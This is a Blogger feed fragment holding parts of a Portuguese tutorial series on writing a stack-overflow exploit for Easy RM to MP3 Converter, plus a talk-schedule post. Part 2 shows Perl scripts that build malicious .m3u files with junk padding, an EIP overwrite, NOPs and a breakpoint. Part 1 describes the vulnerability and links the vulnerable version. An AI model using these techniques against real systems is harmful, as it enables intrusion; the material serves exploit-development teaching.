ESP:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a href="http://4.bp.blogspot.com/-gyqa9j8nhS4/TdGgr81RH-I/AAAAAAAAAQg/eeHaBORzbGg/s1600/img_22.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 234px;" src="http://4.bp.blogspot.com/-gyqa9j8nhS4/TdGgr81RH-I/AAAAAAAAAQg/eeHaBORzbGg/s400/img_22.png" alt="" id="BLOGGER_PHOTO_ID_5607439687977344994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Podemos ver duas coisas interessantes aqui:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;O  ESP começa no 5º caracter de nosso conjunto, a não no primeiro  caracter. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Após  o conjunto de caracteres, vemos os “A's”. Estes A's parecem  pertencer à primeira parte do buffer (26072 A's), então podemos  colocar nosso shellcode na primeira parte do buffer.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Mas não vamos fazer isso agora. Vamos primeiro adicionar 4 caracteres no início do conjunto de caracteres e fazer o teste novamente. Se tudo correr bem, o ESP deve apontar diretamente para o início de nosso conjunto:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"test2.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26094;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family: consolas,Courier New,courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip = &lt;span style="color:#006080;"&gt;"BBBB"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $preshellcode = &lt;span style="color:#006080;"&gt;"XXXX"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"5ABCDEFGHIJK6ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"7ABCDEFGHIJK8ABCDEFGHIJK"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"9ABCDEFGHIJKAABCDEFGHIJK"&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;&lt;br /&gt;"BABCDEFGHIJKCABCDEFGHIJK"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print $FILE $junk.$eip.$preshellcode.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Deixe a aplicação morrer e olhe o ESP novamente:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a href="http://1.bp.blogspot.com/-HtCoNYbmY_s/TdGg1QcYLdI/AAAAAAAAAQo/kA0XuoVVBsE/s1600/img_23.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 213px;" src="http://1.bp.blogspot.com/-HtCoNYbmY_s/TdGg1QcYLdI/AAAAAAAAAQo/kA0XuoVVBsE/s400/img_23.png" alt="" id="BLOGGER_PHOTO_ID_5607439847860481490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE.cjk { font-family: "DejaVu Sans", monospace }  --&gt;  &lt;/style&gt;  &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Bem melhor!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Agora temos:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;controle  sobre o EIP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;uma  área onde podemos escrever nosso código (se fizer mais teste com  conjuntos maiores de caracteres, poderá ver que tem mais espaço do  que 144 caracteres para escrever seu código)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  um registrador que aponta diretamente para nosso código, no  endereço 0x000FF730&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Agora precisamos:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  construir um shellcode&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  dizer para o EIP pular para o endereço de início do shellcode.  Podemos fazer isso sobrescrevendo o EIP com 0x000FF730.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Vamos ver...&lt;/p&gt; &lt;p class="western"&gt;Construiremos um pequeno teste: primeiro 26072 A's, então sobrescrever o EIP com 000FF730, então colocar 25 NOP's, então um break e mais NOP's.&lt;/p&gt; &lt;p class="western"&gt;Se tudo correr bem, o EIP deve pular para 000FF730, que contém NOP's. O código seguir até o break.&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"teste3.m3u"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26072;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;my $eip = pack(&lt;span style="color:#006080;"&gt;'V'&lt;/span&gt;,0x000ff730);  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;$shellcode = $shellcode.&lt;span style="color:#006080;"&gt;"\xcc"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;$shellcode = $shellcode.&lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;open($FILE,&lt;span style="color:#006080;"&gt;"&amp;gt;$file"&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;br /&gt;print $FILE $junk.$eip.$shellcode;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;close($FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;print &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"Arquivo m3u criado com sucesso\n"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;A aplicação morrerá, mas esperamos um break ao invés de um “access violation”.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;Quando olharmos o EIP, ele aponta para 000FF730, e executa o ESP.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm"&gt;Quando olhamos o dump do ESP, não vemos o que esperávamos.&lt;/p&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-ioEcENe1JiI/TdGhAxmiTTI/AAAAAAAAAQw/AxEnTJZ5zFk/s1600/img_24.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 368px;" src="http://1.bp.blogspot.com/-ioEcENe1JiI/TdGhAxmiTTI/AAAAAAAAAQw/AxEnTJZ5zFk/s400/img_24.png" alt="" id="BLOGGER_PHOTO_ID_5607440045740018994" border="0" /&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;Então, pular diretamente para um endereço de memória pode não ser uma boa solução.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;&lt;i&gt;(000FF730 contém um null byte, que é um finalizador de strings... então os A's que está vendo, estão vindo da primeira parte do buffer... Nós não alcançamos o ponto onde começamos a escrever nossos dados após sobrescrever o EIP... Além disso, utilizar um endereço de memória para pular dentro dele faria o exploit não ser confiável. E com isso, este endereço de memória pode ser diferente em outras versões de S.O., linguagem e etc).&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Resumindo: não podemos sobrescrever o EIP apenas com um endereço direto de memória tal como 000FF730. Não é uma boa ideia porque pode conter um byte nulo. Temos que usar outra técnica para atingir o mesmo objetivo: fazer com que a aplicação pule para nosso código. Idealmente, seremos capazes de referenciar um registrador (ou um offset de um registrador), ESP no nosso caso, e encontrar uma função que pulará para tal registrador. Então tentaremos sobrescrever o EIP com o endereço daquela função.&lt;/p&gt;&lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-454290454306506899?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/454290454306506899/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/454290454306506899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/454290454306506899'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html' title='Escrevendo um exploit para Stack Overflow - parte 2'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-aJt4Ap0n-r4/TdGek-w9fkI/AAAAAAAAAPg/4oUM02VqqkA/s72-c/img_14.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5155713862265953343</id><published>2011-04-26T09:20:00.003-03:00</published><updated>2011-04-26T09:47:20.680-03:00</updated><title type='text'>Palestras em Maio/2011</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Para mantê-los atualizados, agora em maio apresentarei ao todo 3  palestras e 2 mini-cursos no espaço de uma semana (de 14 à 20/05) na área de Forense Computacional e Segurança da Informação.&lt;br /&gt;&lt;br /&gt;Então, segue abaixo a agenda:&lt;br /&gt;&lt;br /&gt;14/05 - Palestra "Análise de Malwares com Software Livre", no &lt;a href="http://gts.nic.br/reunioes/gts-17/programa"&gt;GTS-17&lt;/a&gt; (17º encontro do Grupo de Trabalho de Segurança de Redes - em São Paulo/Capital)&lt;br /&gt;&lt;br /&gt;17/05 - Mini-curso "Forense Computacional com Software Livre", no &lt;a href="http://www.cnasi.com.br/df/cursos.php"&gt;8º CNASI DF&lt;/a&gt; (CONGRESSO DE AUDITORIA DE TI, SEGURANÇA DA INFORMAÇÃO E GOVERNANÇA - em Brasília/DF)&lt;br /&gt;&lt;br /&gt;19/05 - Palestra "Mercado de Segurança da Informação: A Estrada de Tijolos Amarelos", na &lt;a href="http://www.semac.sjrp.unesp.br/grade_horaria/grade_horaria.html"&gt;XXI SEMAC UNESP&lt;/a&gt; (21º Semana da Computação da UNESP - São Paulo/São José do Rio Preto)&lt;br /&gt;&lt;br /&gt;19/05 - Palestra "Forense Computacional com Software Livre", na &lt;a href="http://www.semac.sjrp.unesp.br/grade_horaria/grade_horaria.html"&gt;XXI SEMAC UNESP&lt;/a&gt; (21º Semana da Computação da UNESP - São Paulo/São José do Rio Preto)&lt;br /&gt;&lt;br /&gt;20/05 - Mini-Curso "Metasploit Framework: Software Livre para PoC de Vulnerabilidades", na &lt;a href="http://www.semac.sjrp.unesp.br/grade_horaria/grade_horaria.html"&gt;XXI SEMAC UNESP&lt;/a&gt; (21º  Semana da Computação da UNESP - São Paulo/São José do Rio Preto)&lt;br /&gt;&lt;br /&gt;Espero poder encontrar alguns dos senhores nesses eventos :-)&lt;br /&gt;&lt;br /&gt;PS: para quem não conseguir mais inscrever-se no GTS-17, gostaria de lembrá-los de que  evento será transmitido ao vivo na íntegra, e valerá à pena assisti-lo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5155713862265953343?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5155713862265953343/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/04/palestras-em-maio2011.html#comment-form' title='7 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5155713862265953343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5155713862265953343'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/04/palestras-em-maio2011.html' title='Palestras em Maio/2011'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-2138653089950730451</id><published>2011-04-12T07:15:00.018-03:00</published><updated>2011-05-16T18:56:54.467-03:00</updated><title type='text'>Escrevendo um exploit para Stack Overflow - parte 1</title><content type='html'>&lt;p style="text-align: justify;" class="western"&gt;Bem, esse é um primeiro tutorial onde escreveremos um pequeno exploit para uma aplicação Windows escolhida ao acaso, dentre as inúmeras que são vulneráveis a essa falha.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Em julho de 2009 alguém reportou uma vulnerabilidade no programa “Easy RM to MP3 Conversion Utility” no Windows XP SP2, através do packetstormsecurity.org (http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt). O relatório da vulnerabilidade incluia um exploit para prova de conceito. Pouco tempo depois foi liberado um segundo exploit.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Nós poderíamos, nesse momento, baixar os exploits e testá-los na aplicação para vê-los funcionando, ou... podemos tentar entender o processo de construção do exploit para que possamos construir nosso próprio exploit a partir do zero.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;De qualquer forma, a menos que uma pessoa saiba como fazer o disassembling, ler e compreender um shellcode ou exploit, nunca se deve baixar um exploit, especialmente se for um executável previamente compilado, e executá-lo. As consequências podem ser desastrosas!&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;As dúvidas que surgem em nossa mente sobre esse processo de criação de exploits normalmente são: como os desenvolvedores de exploits escrevem seus códigos? Qual e o processo a ser seguido desde a detecção de um possível problema até a criação de um exploit que funcione? Como podemos usar a informação sobre uma vulnerabilidade para desenvolver nossos próprios exploits?&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A vulnerabilidade que utilizei para escrever esse tutorial foi escolhida por ser simples e me permitir demonstrar algumas das técnicas que são utilizadas para escrever um exploit que gere um estouro de pilha, ou stack overflow, como é conhecido por aí...&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Então, independente do fato de que a vulnerabilidade mencionada já ter dois exploits desenvolvidos (funcionando ou não), ainda poderemos utilizar essa falha no “Easy RM to MP3” como um exemplo prático e seguir um passo a passo para criar um exploit funcional, sem copiar nada dos exploits originais. Faremos desde o início e ainda faremos funcionar em um Windows XP com SP3.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Antes de continuarmos, gostaria de dizer que esse artigo é puramente educacional e não tenho a intenção de que alguém utilize essas informações para hackear computadores ou realizar qualquer tipo de ação ilegal. Portanto, não me responsabilizo pelos atos de outras pessoas que, aproveitando-se de informações contidas nesse artigo, realizem atos ilegais.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;De início, é importante que saibam, que a informação contida sobre a vulnerabilidade no relatório liberado em 2009, é a base para nosso trabalho. Nesse caso, o relatório diz que a vulnerabilidade é a seguinte:  &lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;“&lt;i&gt;Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file.”&lt;/i&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Em outras palavras, podemos criar um arquivo .m3u malicioso, carregá-lo no aplicativo e ativar o exploit. Esse tipo de relatório não é muito específico na maioria das vezes, mas pelo menos podemos ter uma ideia de como simular um travamento ou fazer com que a aplicação comporte-se de maneira diferente.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Do contrário, o pesquisador de vulnerabilidades também pode liberar o que encontrou para o fabricante, permitindo que ele faça a correção, ou simplesmente guardar o que descobriu para si mesmo.&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;          &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="page-break-before: always; text-align: justify;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Verificando o Bug&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Antes de tudo, vamos verificar que a aplicação que vamos utilizar realmente trava quando abre um arquivo m3u mal formado. (ou encontre uma aplicação que trave quando você insere algum tipo de dado nela)&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Pegue uma cópia da versão vulnerável do Easy RM to MP3 e instale-a em um computador rodando Windows XP. O relatório da vulnerabilidade diz que o exploit funciona em um XP SP2 (Inglês), mas eu utilizarei XP SP3 (Português).&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;É possível baixar uma cópia da versão vulnerável aqui, no meu HD virtual:&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;a href="http://www.4shared.com/file/o1vQ7J12/EasyRMtoMP3Converter.html"&gt;http://www.4shared.com/file/o1vQ7J12/EasyRMtoMP3Converter.html&lt;/a&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 